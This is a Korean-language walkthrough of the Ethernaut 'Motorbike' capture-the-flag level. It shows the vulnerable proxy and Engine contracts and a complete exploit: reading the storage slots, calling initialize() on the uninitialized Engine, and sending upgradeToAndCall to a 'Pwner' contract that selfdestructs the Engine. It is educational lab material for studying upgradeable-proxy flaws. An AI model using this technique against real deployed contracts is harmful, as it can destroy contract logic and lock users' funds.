Ethernaut: 25. 오토바이

Play the level

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
  // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
  bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

  struct AddressSlot {
    address value;
  }

  // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
  constructor(address _logic) public {
    require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
    _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
    (bool success,) = _logic.delegatecall(
      abi.encodeWithSignature("initialize()")
    );
    require(success, "Call failed");
  }

  // Delegates the current call to `implementation`.
  function _delegate(address implementation) internal virtual {
    // solhint-disable-next-line no-inline-assembly
    assembly {
      calldatacopy(0, 0, calldatasize())
      let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
      returndatacopy(0, 0, returndatasize())
      switch result
      case 0 { revert(0, returndatasize()) }
      default { return(0, returndatasize()) }
    }
  }

  // Fallback function that delegates calls to the address returned by `_implementation()`. 
  // Will run if no other function in the contract matches the call data
  fallback () external payable virtual {
    _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
  }

  // Returns an `AddressSlot` with member `value` located at `slot`.
  function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
    assembly {
      r_slot := slot
    }
  }
}

contract Engine is Initializable {
  // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
  bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

  address public upgrader;
  uint256 public horsePower;

  struct AddressSlot {
    address value;
  }

  function initialize() external initializer {
    horsePower = 1000;
    upgrader = msg.sender;
  }

  // Upgrade the implementation of the proxy to `newImplementation`
  // subsequently execute the function call
  function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
    _authorizeUpgrade();
    _upgradeToAndCall(newImplementation, data);
  }

  // Restrict to upgrader role
  function _authorizeUpgrade() internal view {
    require(msg.sender == upgrader, "Can't upgrade");
  }

  // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
  function _upgradeToAndCall(
    address newImplementation,
    bytes memory data
  ) internal {
    // Initial upgrade and setup call
    _setImplementation(newImplementation);
    if (data.length > 0) {
      (bool success,) = newImplementation.delegatecall(data);
      require(success, "Call failed");
    }
  }

  // Stores a new address in the EIP1967 implementation slot.
  function _setImplementation(address newImplementation) private {
    require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

    AddressSlot storage r;
    assembly {
      r_slot := _IMPLEMENTATION_SLOT
    }
    r.value = newImplementation;
  }
}


여기에 또 다른 프록시 기반 퍼즐이 있습니다. 이번에는 EIP-1967이 사용된 것을 볼 수 있는데, 이는 스토리지 충돌에 대해 안전하다는 것을 의미합니다. 보다 구체적으로 EIP-1967은 프록시가 사용하는 표준 스토리지 슬롯을 정의합니다. 이 표준에 따라 논리 계약은 bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1) 에 저장되며 코드에서도 볼 수 있습니다.

Motorbike 컨트랙트를 살펴보면 엔진 컨트랙트의 논리를 가진 프록시에 불과하다는 것을 알 수 있습니다. 엔진 계약은 Initializable입니다. 그러나 여기에 물음표가 있습니다. initializer는 프록시에서 호출되므로 영향을 받는 저장소는 엔진이 아니라 오토바이의 저장소입니다! 결과적으로 Motorbike는 스토리지에 초기화 결과가 있어야 하지만 Engine은 그렇지 않아야 합니다.
Initializable 계약에는 2개의 저장 변수가 있으며 둘 다 1바이트 부울입니다. 엔진 계약에는 20바이트 주소와 32바이트 부호 없는 정수라는 두 가지 변수가 있습니다. EVM 최적화에 따라 2개의 부울과 1개의 주소가 모두 동일한 슬롯을 차지합니다. 따라서 주소와 두 개의 부울 값이 0번째 위치에 나란히 표시되어야 합니다.

// Proxy storage
await web3.eth.getStorageAt(contract.address, 0)
// '0x0000000000000000000058ab506795ec0d3bfae4448122afa4cde51cfdd20001'

// Engine address
const _IMPLEMENTATION_SLOT = '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc'
const engineAddress = await web3.eth.getStorageAt(
  contract.address,
  web3.utils.hexToNumberString(_IMPLEMENTATION_SLOT)
)

await web3.eth.getStorageAt(engineAddress, 0)
// '0x0000000000000000000000000000000000000000000000000000000000000000'


실제로 이니셜라이저가 실수로 프록시 스토리지에 기록했습니다! 엔진 계약은 그것이 초기화되었다는 것을 모르기 때문에 여기에서 초기화 함수를 호출할 수 있습니다.

await web3.eth.sendTransaction({
  from: player,
  to: engine,
  data: '0x8129fc1c' // initialize()
})


Engine의 저장소를 다시 확인하면 업데이트된 것을 볼 수 있습니다. 우리는 이제 upgrader이고 우리 자신의 새로운 계약으로 updateToAndCall 함수를 호출하고 data를 제공하여 selfdestruct를 만들 수 있습니다.

다음과 같은 작은 계약을 작성할 수 있습니다.

// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;

contract Pwner {
  function pwn() public {
    selfdestruct(address(0));
  }
}


목표는 이것을 오토바이의 엔진으로 만드는 것이므로 프록시를 호출할 것입니다. 함수 서명에는 일치하는 항목이 없기 때문에 엔진에 위임되고 새 구현이 Pwner 계약이 됩니다. 그 후 pwn()가 호출되고 새 구현은 selfdestruct가 됩니다.

const _function = {
  "inputs": [
    { 
      "name": "newImplementation",
      "type": "address"
    },
    { 
      "name": "data",
      "type": "bytes"
    }
  ],
  "name": "upgradeToAndCall", 
  "type": "function"
};
const _parameters = [
  '0xad3359eAbEec598f7eBEDdb14BC056ca57fa32B1', // Pwner
  '0xdd365b8b', // pwn()
];
const _calldata = web3.eth.abi.encodeFunctionCall(_function, _parameters);
await web3.eth.sendTransaction({
  from: player, 
  to: engineAddress, // not Motorbike!
  data: _calldata
})


엔진 자체도 프록시와 같기 때문에 이 트랜잭션을 오토바이 대신 엔진으로 보냅니다. _upgradeToAndCall 내부 함수에서 delegatecallnewImplementation로 만듭니다.

여기서 selfdestruct 내의 newImplementation가 달성하는 것은 Pwner 계약이 아니라 호출 엔진을 실제로 파괴한다는 것입니다! 이것은 다시 adelegatecall를 사용하기 때문입니다. 블록 익스플로러로 엔진 컨트랙트 주소를 확인하면 실제로 그렇게 되었음을 알 수 있습니다selfdestruct.

좋은 웹페이지 즐겨찾기